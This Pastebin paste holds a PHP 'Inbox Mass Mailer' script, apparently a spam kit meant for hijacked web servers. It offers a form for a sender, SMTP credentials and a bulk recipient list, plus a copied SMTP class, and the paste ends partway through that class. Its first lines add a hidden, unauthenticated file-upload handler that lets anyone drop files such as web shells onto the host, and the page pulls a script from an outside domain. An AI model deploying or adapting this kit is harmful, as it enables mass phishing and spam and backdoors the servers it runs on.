Guest User

PHP Mailer

a guest
Jan 30th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.17 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. /*
  5. Inbox Mass Mailer
  6.  
  7.  
  8. */
  9. $upload = $_GET["upload"];
  10. if ($upload == "up" ) {
  11. $uploaddir = "";
  12. $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
  13. if (isset($_FILES["userfile"]["name"]))
  14. {
  15. if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
  16. {
  17. $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
  18. else { $resultati = "There was an error uploading the file. please try again!"; }
  19. }
  20. echo'<html>
  21. <head></head>
  22. <div id="result">
  23. <table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
  24. <tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
  25. <center><form method="POST" enctype="multipart/form-data">
  26. <input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
  27. <input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
  28. }
  29.  
  30. function query_str($params){
  31. $str = '';
  32. foreach ($params as $key => $value) {
  33. $str .= (strlen($str) < 1) ? '' : '&';
  34. $str .= $key . '=' . rawurlencode($value);
  35. }
  36. return ($str);
  37. }
  38. function lrtrim($string){
  39. return stripslashes(ltrim(rtrim($string)));
  40. }
  41.  
  42. if(isset($_POST['action'] ) ){
  43.  
  44. $b = query_str($_POST);
  45. parse_str($b);
  46. $sslclick=lrtrim($sslclick);
  47. $action=lrtrim($action);
  48. $message=lrtrim($message);
  49. $emaillist=lrtrim($emaillist);
  50. $from=lrtrim($from);
  51. $reconnect=lrtrim($reconnect);
  52. $epriority=lrtrim($epriority);
  53. $my_smtp=lrtrim($my_smtp);
  54. $ssl_port=lrtrim($ssl_port);
  55. $smtp_username=lrtrim($smtp_username);
  56. $smtp_password=lrtrim($smtp_password);
  57. $replyto=lrtrim($replyto);
  58. $subject=lrtrim($subject);
  59. $realname=lrtrim($realname);
  60. $subject_base=lrtrim($subject);
  61. $realname_base=lrtrim($realname);
  62. $file_name=lrtrim($file);
  63. $urlz=lrtrim($urlz);
  64. $contenttype=lrtrim($contenttype);
  65. $encode_text=$_POST['encode'];
  66.  
  67. $message = urlencode($message);
  68. $message = ereg_replace("%5C%22", "%22", $message);
  69. $message = urldecode($message);
  70. $message = stripslashes($message);
  71. $subject = stripslashes($subject);
  72. if ($encode_text == "yes") {
  73. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  74. $subject = str_replace(' ', '_', $subject);
  75. $subject = "=?UTF-8?Q?$subject?=";
  76. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  77. $realname = str_replace(' ', '_', $realname);
  78. $realname = "=?UTF-8?Q?$realname?=";
  79. }
  80. }
  81. ?>
  82. <html>
  83.  
  84. <head>
  85. <title>PHP Mailer</title>
  86. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  87.  
  88. <style type="text/css">
  89. <!--
  90. .style1 {
  91. font-family: Geneva, Arial, Helvetica, sans-serif;
  92. font-size: 12px;
  93. }
  94. -->
  95. </style>
  96. <style type="text/css">
  97. <!--
  98. .style1 {
  99. font-size: 10px;
  100. font-family: Geneva, Arial, Helvetica, sans-serif;
  101. }
  102. -->
  103. </style>
  104. </head>
  105. <SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
  106. <body text="#000000">
  107. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
  108. <form name="form1" method="post" action="" enctype="multipart/form-data">
  109.  
  110. <br>
  111.  
  112. <table width="100%" border="0" height="407">
  113.  
  114. <tr>
  115.  
  116. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  117.  
  118. <b>
  119.  
  120. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  121.  
  122. </tr>
  123. <tr>
  124.  
  125. <td width="10%" height="22" bgcolor="#E8E8E8">
  126.  
  127. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  128. SMTP Login:</font></div>
  129.  
  130. </td>
  131.  
  132. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  133.  
  134. <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  135.  
  136. </font></td>
  137.  
  138. <td width="31%" height="22" bgcolor="#E8E8E8">
  139.  
  140. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  141. SMTP Pass:</font></div>
  142.  
  143. </td>
  144.  
  145. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  146.  
  147. <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  148.  
  149. </font></td>
  150.  
  151. </tr>
  152. <tr>
  153.  
  154. <td width="10%" height="22" bgcolor="#E8E8E8">
  155.  
  156. <div align="right">
  157. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  158.  
  159. </td>
  160.  
  161. <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  162.  
  163. <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  164. (optional)</font></td>
  165.  
  166. <td width="31%" height="22" bgcolor="#E8E8E8">
  167.  
  168. <div align="right">
  169. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  170. Server Smtp:</font></div>
  171.  
  172. </td>
  173.  
  174. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  175.  
  176. <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  177.  
  178. </font></td>
  179.  
  180. </tr>
  181. <tr>
  182.  
  183. <td width="10%" height="22" bgcolor="#E8E8E8">
  184.  
  185. <p align="right">
  186. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  187.  
  188. <td width="18%" height="22" bgcolor="#E8E8E8">
  189. <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  190.  
  191. <td width="31%" height="22" bgcolor="#E8E8E8">
  192.  
  193. <p align="right">
  194. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  195. After:</font></td>
  196.  
  197. <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  198.  
  199. <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  200. EMAILS</font></td>
  201.  
  202. </tr>
  203. <tr>
  204.  
  205. <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  206.  
  207. <p align="center">
  208. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  209. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  210.  
  211. </tr>
  212.  
  213. <tr>
  214.  
  215. <td width="10%" height="19">
  216.  
  217. &nbsp;</td>
  218.  
  219. <td width="18%" height="19">&nbsp;</td>
  220.  
  221. <td width="31%" height="19">
  222.  
  223. &nbsp;</td>
  224.  
  225. <td width="41%" height="19">&nbsp;</td>
  226.  
  227. </tr>
  228.  
  229. <tr>
  230.  
  231. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  232.  
  233. <b>
  234.  
  235. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  236.  
  237. </tr>
  238.  
  239. <tr>
  240.  
  241. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  242.  
  243. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  244. Your Email:</font></div>
  245.  
  246. </td>
  247.  
  248. <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  249.  
  250. <input type="text" name="from" value="<?=$from;?>" size="30">
  251.  
  252. </font></td>
  253.  
  254. <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  255.  
  256. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  257. Your Name:</font></div>
  258.  
  259. </td>
  260.  
  261. <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  262.  
  263. <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
  264.  
  265. </font></td>
  266.  
  267. </tr>
  268. <tr>
  269.  
  270. <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  271.  
  272. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  273. Reply-To:</font></div>
  274.  
  275. </td>
  276.  
  277. <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  278.  
  279. <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  280.  
  281. </font></td>
  282.  
  283. <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  284.  
  285. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  286. Email Priority:</font></td>
  287.  
  288. <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  289.  
  290. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  291. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  292. Please Choose -</option>
  293. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  294. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  295. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  296. </select></td>
  297.  
  298. </tr>
  299.  
  300. <tr>
  301.  
  302. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  303.  
  304. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  305. Subject:</font></div>
  306.  
  307. </td>
  308.  
  309. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  310.  
  311. <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
  312.  
  313. </font></td>
  314.  
  315. </tr>
  316.  
  317. <tr>
  318.  
  319. <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  320.  
  321. &nbsp;</td>
  322.  
  323. <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  324.  
  325. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  326. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  327. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  328. </select></font></td>
  329.  
  330. </tr>
  331.  
  332. <tr valign="top">
  333.  
  334. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  335.  
  336. <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  337.  
  338. <br>
  339.  
  340. <input type="radio" name="contenttype" value="plain" >
  341.  
  342. Plain
  343.  
  344. <input type="radio" name="contenttype" value="html" checked>
  345.  
  346. HTML
  347.  
  348. <input type="hidden" name="action" value="send">
  349.  
  350. <input type="submit" value="Send Message">
  351.  
  352. </font></td>
  353.  
  354. <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  355.  
  356. <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  357.  
  358. </font></td>
  359.  
  360. </tr>
  361.  
  362. </table>
  363.  
  364. </form>
  365.  
  366.  
  367.  
  368. <?
  369.  
  370. if ($action){
  371. if (!$from && !$subject && !$message && !$emaillist){
  372. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  373. die(); }
  374.  
  375. class SMTP
  376. {
  377. /**
  378. * SMTP server port
  379. * @var int
  380. */
  381. var $SMTP_PORT = 25;
  382.  
  383. /**
  384. * SMTP reply line ending
  385. * @var string
  386. */
  387. var $CRLF = "\r\n";
  388.  
  389. /**
  390. * Sets whether debugging is turned on
  391. * @var bool
  392. */
  393. var $do_debug; # the level of debug to perform
  394.  
  395. /**
  396. * Sets VERP use on/off (default is off)
  397. * @var bool
  398. */
  399. var $do_verp = false;
  400.  
  401. /**#@+
  402. * @access private
  403. */
  404. var $smtp_conn; # the socket to the server
  405. var $error; # error if any on the last call
  406. var $helo_rply; # the reply the server sent to us for HELO
  407. /**#@-*/
  408.  
  409. /**
  410. * Initialize the class so that the data is in a known state.
  411. * @access public
  412. * @return void
  413. */
  414. function SMTP() {
  415. $this->smtp_conn = 0;
  416. $this->error = null;
  417. $this->helo_rply = null;
  418.  
  419. $this->do_debug = 0;
  420. }
  421.  
  422. /*************************************************************
  423. * CONNECTION FUNCTIONS *
  424. ***********************************************************/
  425.  
  426. /**
  427. * Connect to the server specified on the port specified.
  428. * If the port is not specified use the default SMTP_PORT.
  429. * If tval is specified then a connection will try and be
  430. * established with the server for that number of seconds.
  431. * If tval is not specified the default is 30 seconds to
  432. * try on the connection.
  433. *
  434. * SMTP CODE SUCCESS: 220
  435. * SMTP CODE FAILURE: 421
  436. * @access public
  437. * @return bool
  438. */
  439. function Connect($host,$port=0,$tval=30) {
  440. # set the error val to null so there is no confusion
  441. $this->error = null;
  442.  
  443. # make sure we are __not__ connected
  444. if($this->connected()) {
  445. # ok we are connected! what should we do?
  446. # for now we will just give an error saying we
  447. # are already connected
  448. $this->error = array("error" => "Already connected to a server");
  449. return false;
  450. }
  451.  
  452. if(empty($port)) {
  453. $port = $this->SMTP_PORT;
  454. }
  455.  
  456. #connect to the smtp server
  457. $this->smtp_conn = fsockopen($host, # the host of the server
  458. $port, # the port to use
  459. $errno, # error number if any
  460. $errstr, # error message if any
  461. $tval); # give up after ? secs
  462. # verify we connected properly
  463. if(empty($this->smtp_conn)) {
  464. $this->error = array("error" => "Failed to connect to server",
  465. "errno" => $errno,
  466. "errstr" => $errstr);
  467. if($this->do_debug >= 1) {
  468. echo "SMTP -> ERROR: " . $this->error["error"] .
  469. ": $errstr ($errno)" . $this->CRLF;
  470. }
  471. return false;
  472. }
  473.  
  474. # sometimes the SMTP server takes a little longer to respond
  475. # so we will give it a longer timeout for the first read
  476. // Windows still does not have support for this timeout function
  477. if(substr(PHP_OS, 0, 3) != "WIN")
  478. socket_set_timeout($this->smtp_conn, $tval, 0);
  479.  
  480. # get any announcement stuff
  481. $announce = $this->get_lines();
  482.  
  483. # set the timeout of any socket functions at 1/10 of a second
  484. //if(function_exists("socket_set_timeout"))
  485. // socket_set_timeout($this->smtp_conn, 0, 100000);
  486.  
  487. if($this->do_debug >= 2) {
  488. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  489. }
  490.  
  491. return true;
  492. }
  493.  
  494. /**
  495. * Performs SMTP authentication. Must be run after running the
  496. * Hello() method. Returns true if successfully authenticated.
  497. * @access public
  498. * @return bool
  499. */
  500. function Authenticate($username, $password) {
  501. // Start authentication
  502. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  503.  
  504. $rply = $this->get_lines();
  505. $code = substr($rply,0,3);
  506.  
  507. if($code != 334) {
  508. $this->error =
  509. array("error" => "AUTH not accepted from server",
  510. "smtp_code" => $code,
  511. "smtp_msg" => substr($rply,4));
  512. if($this->do_debug >= 1) {
  513. echo "SMTP -> ERROR: " . $this->error["error"] .
  514. ": " . $rply . $this->CRLF;
  515. }
  516. return false;
  517. }
  518.  
  519. // Send encoded username
  520. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  521.  
  522. $rply = $this->get_lines();
  523. $code = substr($rply,0,3);
  524.  
  525. if($code != 334) {
  526. $this->error =
  527. array("error" => "Username not accepted from server",
  528. "smtp_code" => $code,
  529. "smtp_msg" => substr($rply,4));
  530. if($this->do_debug >= 1) {
  531. echo "SMTP -> ERROR: " . $this->error["error"] .
  532. ": " . $rply . $this->CRLF;
  533. }
  534. return false;
  535. }
  536.  
  537. // Send encoded password
  538. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  539.  
  540. $rply = $this->get_lines();
  541. $code = substr($rply,0,3);
  542.  
  543. if($code != 235) {
  544. $this->error =
  545. array("error" => "Password not accepted from server",
  546. "smtp_code" => $code,
  547. "smtp_msg" => substr($rply,4));
  548. if($this->do_debug >= 1) {
  549. echo "SMTP -> ERROR: " . $this->error["error"] .
  550. ": " . $rply . $this->CRLF;
  551. }
  552. return false;
  553. }
  554.  
  555. return true;
  556. }
  557.  
  558. /**
  559. * Returns true if connected to a server otherwise false
  560. * @access private
  561. * @return bool
  562. */
  563. function Connected() {
  564. if(!empty($this->smtp_conn)) {
  565. $sock_status = socket_get_status($this->smtp_conn);
  566. if($sock_status["eof"]) {
  567. # hmm this is an odd situation... the socket is
  568. # valid but we are not connected anymore
  569. if($this->do_debug >= 1) {
  570. echo "SMTP -> NOTICE:" . $this->CRLF .
  571. "EOF caught while checking if connected";
  572. }
  573. $this->Close();
  574. return false;
  575. }
  576. return true; # everything looks good
  577. }
  578. return false;
  579. }
  580.  
  581. /**
  582. * Closes the socket and cleans up the state of the class.
  583. * It is not considered good to use this function without
  584. * first trying to use QUIT.
  585. * @access public
  586. * @return void
  587. */
  588. function Close() {
  589. $this->error = null; # so there is no confusion
  590. $this->helo_rply = null;
  591. if(!empty($this->smtp_conn)) {
  592. # close the connection and cleanup
  593. fclose($this->smtp_conn);
  594. $this->smtp_conn = 0;
  595. }
  596. }
  597.  
  598. /***************************************************************
  599. * SMTP COMMANDS *
  600. *************************************************************/
  601.  
  602. /**
  603. * Issues a data command and sends the msg_data to the server
  604. * finializing the mail transaction. $msg_data is the message
  605. * that is to be send with the headers. Each header needs to be
  606. * on a single line followed by a <CRLF> with the message headers
  607. * and the message body being seperated by and additional <CRLF>.
  608. *
  609. * Implements rfc 821: DATA <CRLF>
  610. *
  611. * SMTP CODE INTERMEDIATE: 354
  612. * [data]
  613. * <CRLF>.<CRLF>
  614. * SMTP CODE SUCCESS: 250
  615. * SMTP CODE FAILURE: 552,554,451,452
  616. * SMTP CODE FAILURE: 451,554
  617. * SMTP CODE ERROR : 500,501,503,421
  618. * @access public
  619. * @return bool
  620. */
  621. function Data($msg_data) {
  622. $this->error = null; # so no confusion is caused
  623.  
  624. if(!$this->connected()) {
  625. $this->error = array(
  626. "error" => "Called Data() without being connected");
  627. return false;
  628. }
  629.  
  630. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  631.  
  632. $rply = $this->get_lines();
  633. $code = substr($rply,0,3);
  634.  
  635. if($this->do_debug >= 2) {
  636. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  637. }
  638.  
  639. if($code != 354) {
  640. $this->error =
  641. array("error" => "DATA command not accepted from server",
  642. "smtp_code" => $code,
  643. "smtp_msg" => substr($rply,4));
  644. if($this->do_debug >= 1) {
  645. echo "SMTP -> ERROR: " . $this->error["error"] .
  646. ": " . $rply . $this->CRLF;
  647. }
  648. return false;
  649. }
  650.  
  651. # the server is ready to accept data!
  652. # according to rfc 821 we should not send more than 1000
  653. # including the CRLF
  654. # characters on a single line so we will break the data up
  655. # into lines by \r and/or \n then if needed we will break
  656. # each of those into smaller lines to fit within the limit.
  657. # in addition we will be looking for lines that start with
  658. # a period '.' and append and additional period '.' to that
  659. # line. NOTE: this does not count towards are limit.
  660.  
  661. # normalize the line breaks so we know the explode works
  662. $msg_data = str_replace("\r\n","\n",$msg_data);
  663. $msg_data = str_replace("\r","\n",$msg_data);
  664. $lines = explode("\n",$msg_data);
  665.  
  666. # we need to find a good way to determine is headers are
  667. # in the msg_data or if it is a straight msg body
  668. # currently I am assuming rfc 822 definitions of msg headers
  669. # and if the first field of the first line (':' sperated)
  670. # does not contain a space then it _should_ be a header
  671. # and we can process all lines before a blank "" line as
  672. # headers.
  673. $field = substr($lines[0],0,strpos($lines[0],":"));
  674. $in_headers = false;
  675. if(!empty($field) && !strstr($field," ")) {
  676. $in_headers = true;
  677. }
  678.  
  679. $max_line_length = 998; # used below; set here for ease in change
  680.  
  681. while(list(,$line) = @each($lines)) {
  682. $lines_out = null;
  683. if($line == "" && $in_headers) {
  684. $in_headers = false;
  685. }
  686. # ok we need to break this line up into several
  687. # smaller lines
  688. while(strlen($line) > $max_line_length) {
  689. $pos = strrpos(substr($line,0,$max_line_length)," ");
  690.  
  691. # Patch to fix DOS attack
  692. if(!$pos) {
  693. $pos = $max_line_length - 1;
  694. }
  695.  
  696. $lines_out[] = substr($line,0,$pos);
  697. $line = substr($line,$pos + 1);
  698. # if we are processing headers we need to
  699. # add a LWSP-char to the front of the new line
  700. # rfc 822 on long msg headers
  701. if($in_headers) {
  702. $line = "\t" . $line;
  703. }
  704. }
  705. $lines_out[] = $line;
  706.  
  707. # now send the lines to the server
  708. while(list(,$line_out) = @each($lines_out)) {
  709. if(strlen($line_out) > 0)
  710. {
  711. if(substr($line_out, 0, 1) == ".") {
  712. $line_out = "." . $line_out;
  713. }
  714. }
  715. fputs($this->smtp_conn,$line_out . $this->CRLF);
  716. }
  717. }
  718.  
  719. # ok all the message data has been sent so lets get this
  720. # over with aleady
  721. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  722.  
  723. $rply = $this->get_lines();
  724. $code = substr($rply,0,3);
  725.  
  726. if($this->do_debug >= 2) {
  727. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  728. }
  729.  
  730. if($code != 250) {
  731. $this->error =
  732. array("error" => "DATA not accepted from server",
  733. "smtp_code" => $code,
  734. "smtp_msg" => substr($rply,4));
  735. if($this->do_debug >= 1) {
  736. echo "SMTP -> ERROR: " . $this->error["error"] .
  737. ": " . $rply . $this->CRLF;
  738. }
  739. return false;
  740. }
  741. return true;
  742. }
  743.  
  744. /**
  745. * Expand takes the name and asks the server to list all the
  746. * people who are members of the _list_. Expand will return
  747. * back and array of the result or false if an error occurs.
  748. * Each value in the array returned has the format of:
  749. * [ <full-name> <sp> ] <path>
  750. * The definition of <path> is defined in rfc 821
  751. *
  752. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  753. *
  754. * SMTP CODE SUCCESS: 250
  755. * SMTP CODE FAILURE: 550
  756. * SMTP CODE ERROR : 500,501,502,504,421
  757. * @access public
  758. * @return string array
  759. */
  760. function Expand($name) {
  761. $this->error = null; # so no confusion is caused
  762.  
  763. if(!$this->connected()) {
  764. $this->error = array(
  765. "error" => "Called Expand() without being connected");
  766. return false;
  767. }
  768.  
  769. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  770.  
  771. $rply = $this->get_lines();
  772. $code = substr($rply,0,3);
  773.  
  774. if($this->do_debug >= 2) {
  775. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  776. }
  777.  
  778. if($code != 250) {
  779. $this->error =
  780. array("error" => "EXPN not accepted from server",
  781. "smtp_code" => $code,
  782. "smtp_msg" => substr($rply,4));
  783. if($this->do_debug >= 1) {
  784. echo "SMTP -> ERROR: " . $this->error["error"] .
  785. ": " . $rply . $this->CRLF;
  786. }
  787. return false;
  788. }
  789.  
  790. # parse the reply and place in our array to return to user
  791. $entries = explode($this->CRLF,$rply);
  792. while(list(,$l) = @each($entries)) {
  793. $list[] = substr($l,4);
  794. }
  795.  
  796. return $list;
  797. }
  798.  
  799. /**
  800. * Sends the HELO command to the smtp server.
  801. * This makes sure that we and the server are in
  802. * the same known state.
  803. *
  804. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  805. *
  806. * SMTP CODE SUCCESS: 250
  807. * SMTP CODE ERROR : 500, 501, 504, 421
  808. * @access public
  809. * @return bool
  810. */
  811. function Hello($host="") {
  812. $this->error = null; # so no confusion is caused
  813.  
  814. if(!$this->connected()) {
  815. $this->error = array(
  816. "error" => "Called Hello() without being connected");
  817. return false;
  818. }
  819.  
  820. # if a hostname for the HELO was not specified determine
  821. # a suitable one to send
  822. if(empty($host)) {
  823. # we need to determine some sort of appopiate default
  824. # to send to the server
  825. $host = "localhost";
  826. }
  827.  
  828. // Send extended hello first (RFC 2821)
  829. if(!$this->SendHello("EHLO", $host))
  830. {
  831. if(!$this->SendHello("HELO", $host))
  832. return false;
  833. }
  834.  
  835. return true;
  836. }
  837.  
  838. /**
  839. * Sends a HELO/EHLO command.
  840. * @access private
  841. * @return bool
  842. */
  843. function SendHello($hello, $host) {
  844. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  845.  
  846. $rply = $this->get_lines();
  847. $code = substr($rply,0,3);
  848.  
  849. if($this->do_debug >= 2) {
  850. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  851. }
  852.  
  853. if($code != 250) {
  854. $this->error =
  855. array("error" => $hello . " not accepted from server",
  856. "smtp_code" => $code,
  857. "smtp_msg" => substr($rply,4));
  858. if($this->do_debug >= 1) {
  859. echo "SMTP -> ERROR: " . $this->error["error"] .
  860. ": " . $rply . $this->CRLF;
  861. }
  862. return false;
  863. }
  864.  
  865. $this->helo_rply = $rply;
  866.  
  867. return true;
  868. }
  869.  
  870. /**
  871. * Gets help information on the keyword specified. If the keyword
  872. * is not specified then returns generic help, ussually contianing
  873. * A list of keywords that help is available on. This function
  874. * returns the results back to the user. It is up to the user to
  875. * handle the returned data. If an error occurs then false is
  876. * returned with $this->error set appropiately.
  877. *
  878. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  879. *
  880. * SMTP CODE SUCCESS: 211,214
  881. * SMTP CODE ERROR : 500,501,502,504,421
  882. * @access public
  883. * @return string
  884. */
  885. function Help($keyword="") {
  886. $this->error = null; # to avoid confusion
  887.  
  888. if(!$this->connected()) {
  889. $this->error = array(
  890. "error" => "Called Help() without being connected");
  891. return false;
  892. }
  893.  
  894. $extra = "";
  895. if(!empty($keyword)) {
  896. $extra = " " . $keyword;
  897. }
  898.  
  899. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  900.  
  901. $rply = $this->get_lines();
  902. $code = substr($rply,0,3);
  903.  
  904. if($this->do_debug >= 2) {
  905. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  906. }
  907.  
  908. if($code != 211 && $code != 214) {
  909. $this->error =
  910. array("error" => "HELP not accepted from server",
  911. "smtp_code" => $code,
  912. "smtp_msg" => substr($rply,4));
  913. if($this->do_debug >= 1) {
  914. echo "SMTP -> ERROR: " . $this->error["error"] .
  915. ": " . $rply . $this->CRLF;
  916. }
  917. return false;
  918. }
  919.  
  920. return $rply;
  921. }
  922.  
  923. /**
  924. * Starts a mail transaction from the email address specified in
  925. * $from. Returns true if successful or false otherwise. If True
  926. * the mail transaction is started and then one or more Recipient
  927. * commands may be called followed by a Data command.
  928. *
  929. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  930. *
  931. * SMTP CODE SUCCESS: 250
  932. * SMTP CODE SUCCESS: 552,451,452
  933. * SMTP CODE SUCCESS: 500,501,421
  934. * @access public
  935. * @return bool
  936. */
  937. function Mail($from) {
  938. $this->error = null; # so no confusion is caused
  939.  
  940. if(!$this->connected()) {
  941. $this->error = array(
  942. "error" => "Called Mail() without being connected");
  943. return false;
  944. }
  945.  
  946. $useVerp = ($this->do_verp ? "XVERP" : "");
  947. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  948.  
  949. $rply = $this->get_lines();
  950. $code = substr($rply,0,3);
  951.  
  952. if($this->do_debug >= 2) {
  953. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  954. }
  955.  
  956. if($code != 250) {
  957. $this->error =
  958. array("error" => "MAIL not accepted from server",
  959. "smtp_code" => $code,
  960. "smtp_msg" => substr($rply,4));
  961. if($this->do_debug >= 1) {
  962. echo "SMTP -> ERROR: " . $this->error["error"] .
  963. ": " . $rply . $this->CRLF;
  964. }
  965. return false;
  966. }
  967. return true;
  968. }
  969.  
  970. /**
  971. * Sends the command NOOP to the SMTP server.
  972. *
  973. * Implements from rfc 821: NOOP <CRLF>
  974. *
  975. * SMTP CODE SUCCESS: 250
  976. * SMTP CODE ERROR : 500, 421
  977. * @access public
  978. * @return bool
  979. */
  980. function Noop() {
  981. $this->error = null; # so no confusion is caused
  982.  
  983. if(!$this->connected()) {
  984. $this->error = array(
  985. "error" => "Called Noop() without being connected");
  986. return false;
  987. }
  988.  
  989. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  990.  
  991. $rply = $this->get_lines();
  992. $code = substr($rply,0,3);
  993.  
  994. if($this->do_debug >= 2) {
  995. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  996. }
Add Comment
Please, Sign In to add comment